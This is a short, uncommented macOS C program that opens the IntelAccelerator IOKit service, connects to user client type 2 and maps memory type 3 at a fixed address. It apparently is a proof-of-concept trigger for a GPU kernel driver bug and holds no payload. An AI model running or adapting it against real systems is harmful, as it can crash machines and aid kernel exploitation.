46 lines
No EOL
1.1 KiB
C
46 lines
No EOL
1.1 KiB
C
#include <fcntl.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <IOKit/IOKitLib.h>
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int main(){
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kern_return_t err;
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CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
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if(!matching){
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printf("unable to create service matching dictionary\n");
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return 0;
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}
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io_iterator_t iterator;
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err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
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if (err != KERN_SUCCESS){
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printf("no matches\n");
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return 0;
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}
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io_service_t service = IOIteratorNext(iterator);
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if (service == IO_OBJECT_NULL){
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printf("unable to find service\n");
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return 0;
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}
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printf("got service: %x\n", service);
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io_connect_t conn = MACH_PORT_NULL;
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err = IOServiceOpen(service, mach_task_self(), 2, &conn);
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if (err != KERN_SUCCESS){
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printf("unable to get user client connection\n");
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return 0;
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}else{
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printf("got userclient connection: %x\n", conn);
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}
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mach_vm_address_t addr = 0x414100000000;
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mach_vm_size_t size = 0x1000;
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err = IOConnectMapMemory(conn, 3, mach_task_self(), &addr, &size, kIOMapAnywhere);
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return 0;
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} |